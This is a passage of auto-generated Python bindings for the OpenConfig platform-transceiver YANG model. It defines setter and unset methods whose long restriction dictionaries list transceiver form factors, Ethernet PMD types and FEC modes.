'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__form_factor_preconf = t if hasattr(self, '_set'): self._set() def _unset_form_factor_preconf(self): self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_ethernet_pmd_preconf(self): """ Getter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ return self.__ethernet_pmd_preconf def _set_ethernet_pmd_preconf(self, v, load=False): """ Setter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd_preconf() directly. YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd_preconf = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd_preconf(self): self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_mode(self): """ Getter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ return self.__fec_mode def _set_fec_mode(self, v, load=False): """ Setter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_mode is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_mode() directly. YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_mode must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_mode = t if hasattr(self, '_set'): self._set() def _unset_fec_mode(self): self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 